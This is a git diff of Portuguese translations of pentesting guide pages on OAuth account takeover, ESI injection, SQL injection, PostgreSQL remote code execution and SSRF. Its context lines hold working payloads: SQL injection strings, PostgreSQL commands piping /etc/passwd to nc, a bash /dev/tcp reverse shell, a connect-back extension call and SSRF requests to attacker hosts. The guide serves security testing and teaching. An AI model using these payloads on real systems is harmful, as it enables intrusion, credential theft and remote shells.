> Portanto, se o atacante conseguir fazer com que o usuário acesse seu próprio aplicativo OAuth, ele poderá assumir a conta da vítima em aplicativos que esperam um token e não verificam se o token foi concedido ao ID do seu aplicativo.
@@ -178,14 +181,14 @@ Como [**explicado neste vídeo**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),
De acordo com [**este post de blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), este é um fluxo OAuth que permite fazer login no OAuth via **nome de usuário** e **senha**. Se durante esse fluxo simples um **token** com acesso a todas as ações que o usuário pode realizar for retornado, então é possível contornar a 2FA usando esse token.
-### ATO em página da web redirecionando com base em redirecionamento aberto para referenciador
+### ATO em redirecionamento de página da web baseado em redirecionamento aberto para referenciador
Este [**post de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comenta como foi possível abusar de um **redirecionamento aberto** para o valor do **referenciador** para abusar do OAuth para ATO. O ataque foi:
1. A vítima acessa a página da web do atacante
2. A vítima abre o link malicioso e um opener inicia o fluxo OAuth do Google com `response_type=id_token,code&prompt=none` como parâmetros adicionais usando como **referenciador o site do atacante**.
3. No opener, após o provedor autorizar a vítima, ele a envia de volta para o valor do parâmetro `redirect_uri` (web da vítima) com código 30X que ainda mantém o site do atacante no referer.
-4. O **site da vítima aciona o redirecionamento aberto com base no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
+4. O **site da vítima aciona o redirecionamento aberto baseado no referenciador**, redirecionando o usuário da vítima para o site do atacante, como o **`respose_type`** era **`id_token,code`**, o código será enviado de volta ao atacante no **fragmento** da URL, permitindo que ele assuma a conta do usuário via Google no site da vítima.
### Parâmetros SSRFs
@@ -193,7 +196,7 @@ Este [**post de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)
O Registro Dinâmico de Clientes no OAuth serve como um vetor menos óbvio, mas crítico para vulnerabilidades de segurança, especificamente para ataques de **Server-Side Request Forgery (SSRF)**. Este endpoint permite que servidores OAuth recebam detalhes sobre aplicativos clientes, incluindo URLs sensíveis que podem ser exploradas.
-**Pontos-chave:**
+**Pontos Chave:**
- O **Registro Dinâmico de Clientes** é frequentemente mapeado para `/register` e aceita detalhes como `client_name`, `client_secret`, `redirect_uris` e URLs para logotipos ou Conjuntos de Chaves Web JSON (JWKs) via solicitações POST.
- Este recurso adere às especificações estabelecidas em **RFC7591** e **OpenID Connect Registration 1.0**, que incluem parâmetros potencialmente vulneráveis a SSRF.
@@ -217,5 +220,4 @@ Se a plataforma que você está testando é um provedor OAuth [**leia isso para
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
index 487977bf4..33391a84a 100644
--- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
+++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
-## Server Side Inclusion Basic Information
+## Informações Básicas sobre Server Side Inclusion
**(Introdução retirada da** [**documentação do Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
@@ -19,7 +19,7 @@ A decisão de quando usar SSI e quando ter sua página totalmente gerada por alg
Você pode inferir a presença de SSI se a aplicação web usar arquivos com a extensãos**`.shtml`, `.shtm` ou `.stm`**, mas não é apenas esse o caso.
-Uma expressão SSI típica tem o seguinte formato:
+Uma expressão típica de SSI tem o seguinte formato:
```
```
@@ -56,8 +56,8 @@ Uma expressão SSI típica tem o seguinte formato:
```
## Inclusão Lateral
-Há um problema **de cache de informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
-Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
+Há um problema **em armazenar em cache informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
+Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que ele seja enviado aos usuários.
### Detecção de ESI
@@ -92,19 +92,19 @@ hello
[GoSecure criou](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares compatíveis com ESI, dependendo da funcionalidade suportada:
- **Includes**: Suporta a diretiva ``
-- **Vars**: Suporta a diretiva ``. Útil para contornar Filtros de XSS
+- **Vars**: Suporta a diretiva ``. Útil para contornar Filtros XSS
- **Cookie**: Cookies do documento são acessíveis ao mecanismo ESI
- **Cabeçalhos Upstream Necessários**: Aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
- **Lista de Permissão de Hosts**: Neste caso, inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
| **Software** | **Includes** | **Vars** | **Cookies** | **Cabeçalhos Upstream Necessários** | **Lista de Permissão de Hosts** |
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------: | :-----------------------------: |
-| Squid3 | Sim | Sim | Sim | Sim | Não |
-| Varnish Cache | Sim | Não | Não | Sim | Sim |
-| Fastly | Sim | Não | Não | Não | Sim |
-| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
-| NodeJS esi | Sim | Sim | Sim | Não | Não |
-| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
+| Squid3 | Sim | Sim | Sim | Sim | Não |
+| Varnish Cache | Sim | Não | Não | Sim | Sim |
+| Fastly | Sim | Não | Não | Não | Sim |
+| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
+| NodeJS esi | Sim | Sim | Sim | Não | Não |
+| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
#### XSS
@@ -183,7 +183,7 @@ Isso enviará informações de depuração incluídas na resposta:
```
### ESI + XSLT = XXE
-É possível usar a sintaxe de **`eXtensible Stylesheet Language Transformations (XSLT)`** em ESI apenas indicando o valor do parâmetro **`dca`** como **`xslt`**. O que pode permitir abusar do **XSLT** para criar e explorar uma vulnerabilidade de Entidade Externa XML (XXE):
+É possível usar a sintaxe de **`eXtensible Stylesheet Language Transformations (XSLT)`** em ESI apenas indicando o valor do param **`dca`** como **`xslt`**. O que pode permitir abusar do **XSLT** para criar e explorar uma vulnerabilidade de Entidade Externa XML (XXE):
```xml
```
@@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
## Lista de Detecção de Força Bruta
-{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
+{{#ref}}
+https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md
index 2c8a28e7f..d4257d448 100644
--- a/src/pentesting-web/sql-injection/README.md
+++ b/src/pentesting-web/sql-injection/README.md
@@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
+## O que é injeção de SQL?
-## O que é injeção SQL?
-
-Uma **injeção SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
+Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
## Detecção de ponto de entrada
-Quando um site parece ser **vulnerável a injeção SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
+Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer a identificação do método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
```
[Nothing]
'
@@ -126,14 +125,16 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
-Além disso, se você tiver acesso à saída da consulta, poderá fazer com que ela **imprima a versão do banco de dados**.
+Além disso, se você tiver acesso à saída da consulta, poderá fazer com que **imprima a versão do banco de dados**.
> [!NOTE]
> A continuação discutiremos diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.
### Identificando com PortSwigger
-{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
+{{#ref}}
+https://portswigger.net/web-security/sql-injection/cheat-sheet
+{{#endref}}
## Explorando Baseado em Union
@@ -198,7 +199,7 @@ Para obter insights mais abrangentes, consulte o artigo completo disponível em
## Explorando Baseada em Erro
-Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltratem** dados do banco de dados.\
+Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrarem** dados do banco de dados.\
Seguindo um fluxo semelhante ao da exploração Baseada em União, você poderia conseguir despejar o DB.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
@@ -224,7 +225,7 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
```
## Consultas Empilhadas
-Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
+Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas** onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
**Oracle** não suporta **consultas empilhadas.** **MySQL, Microsoft** e **PostgreSQL** as suportam: `QUERY-1-HERE; QUERY-2-HERE`
@@ -240,11 +241,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype(' Criar usuário com nome: **admin \[muitos espaços] a**
+- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
+- Criar um usuário nomeado: **admin=**
+- **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
-#### Ataque de Truncamento SQL
+#### SQL Truncation Attack
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
@@ -321,11 +322,11 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
-_Nota: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
+_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
-### Verificação baseada em tempo de inserção MySQL
+### Verificação baseada em tempo de inserção do MySQL
-Adicione quantos `','',''` você considerar para sair da instrução VALUES. Se o atraso for executado, você tem uma SQLInjection.
+Adicione o máximo de `','',''` que você considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
@@ -335,7 +336,7 @@ A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar aç
Exemplo de Injeção de Payload:
-Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
+Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha visa o e-mail de um administrador existente com a intenção de atualizar a senha:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@@ -435,7 +436,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### Bypass de WAF com Notação Científica
-Você pode encontrar uma explicação mais detalhada desse truque no [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
+Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
```
-1' or 1.e(1) or '1'='1
@@ -444,9 +445,9 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
```
### Bypass Column Names Restriction
-Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a bandeira tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
+Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
-É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria assim:
+É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
@@ -460,7 +461,9 @@ Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
### Ferramentas sugeridoras de bypass de WAF
-{% embed url="https://github.com/m4ll0k/Atlas" %}
+{{#ref}}
+https://github.com/m4ll0k/Atlas
+{{#endref}}
## Outros Guias
@@ -469,7 +472,9 @@ Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
## Lista de Detecção de Força Bruta
-{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
+{{#ref}}
+https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
+{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
index a1c45c36e..38f150f76 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@@ -14,7 +14,7 @@ Além disso, tenha em mente que **se você não sabe como** [**fazer upload de a
**Para mais informações, consulte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
-A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [Módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc ');
@@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
Escrever arquivo binário a partir de base64
-Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
+Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse assunto:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
```
Você pode encontrar esta **biblioteca pré-compilada** para várias versões diferentes do PostgreSQL e até pode **automatizar esse processo** (se você tiver acesso ao PostgreSQL) com:
-{% embed url="https://github.com/Dionach/pgexec" %}
+{{#ref}}
+https://github.com/Dionach/pgexec
+{{#endref}}
### RCE no Windows
@@ -258,21 +260,21 @@ O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto d
### RCE nas versões mais recentes do PostgreSQL
-Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de escrita pelos contas NETWORK_SERVICE ou postgres.
+Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
-Apesar dessas restrições, é possível para um `superuser` autenticado **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
+Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
-Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
+Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para gravar um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
#### Fluxo de ataque
-Primeiro, você precisa **usar objetos grandes para fazer o upload do dll**. Você pode ver como fazer isso aqui:
+Primeiro, você precisa **usar objetos grandes para fazer o upload da dll**. Você pode ver como fazer isso aqui:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
-Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
+Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) para o diretório de dados, você pode carregá-la com:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index 50df5082f..fb2bb1b4d 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -4,7 +4,7 @@
## Informações Básicas
-Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
+Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
## Capturar SSRF
@@ -42,9 +42,9 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
- **SFTP://**
- Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
- **TFTP://**
-- O Protocolo Trivial de Transferência de Arquivos, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
+- O Protocolo de Transferência de Arquivos Trivial, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
-- Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídas sobre redes IP. Interaja com um servidor LDAP no localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
+- Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos sobre redes IP. Interaja com um servidor LDAP no localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP no localhost, incluindo etapas para revelar nomes de domínios internos e ações investigativas adicionais com base nessa informação.
```
@@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF via Referrer header & Others
-Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque SSRF.
+Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar superfícies de ataque SSRF potenciais.
## SSRF via SNI data from certificate
-Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
+Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração Nginx:
```
stream {
server {
@@ -206,7 +206,7 @@ app.run(threaded=False)
```
-Flask permite usar **`@`** como caractere inicial, o que permite fazer **o nome do host inicial ser o nome de usuário** e injetar um novo. Solicitação de ataque:
+Flask permite usar **`@`** como caractere inicial, o que permite fazer com que **o nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@@ -224,7 +224,7 @@ GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
-### Servidor Web Integrado PHP
+### Servidor Web Integrado do PHP
@@ -261,7 +261,7 @@ Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** p
### DNS Rebidding Automatizado
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Ela inclui os componentes necessários para reconfigurar o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir cargas úteis de ataque para explorar software vulnerável na máquina alvo.
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar [ataques de DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Ela inclui os componentes necessários para reconfigurar o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir cargas úteis de ataque para explorar software vulnerável na máquina alvo.
Confira também o **servidor público em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@@ -278,8 +278,8 @@ Ataque:
1. Peça ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz a **carga útil dentro** do **ID de Sessão ou Ticket de Sessão**.
-4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **si mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
-5. Na solicitação DNS, um endereço **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
+4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
+5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (127.0.0.1, por exemplo)
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, enviará o **ID de Sessão/Ticket ID** (onde a **carga útil** do atacante estava contida). Então, parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
Note que durante este ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
@@ -337,11 +337,13 @@ _remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
-SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
+SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para tunelizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
### Para praticar
-{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
+{{#ref}}
+https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
+{{#endref}}
## Referências
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
index 0c2f10c90..30402beaf 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
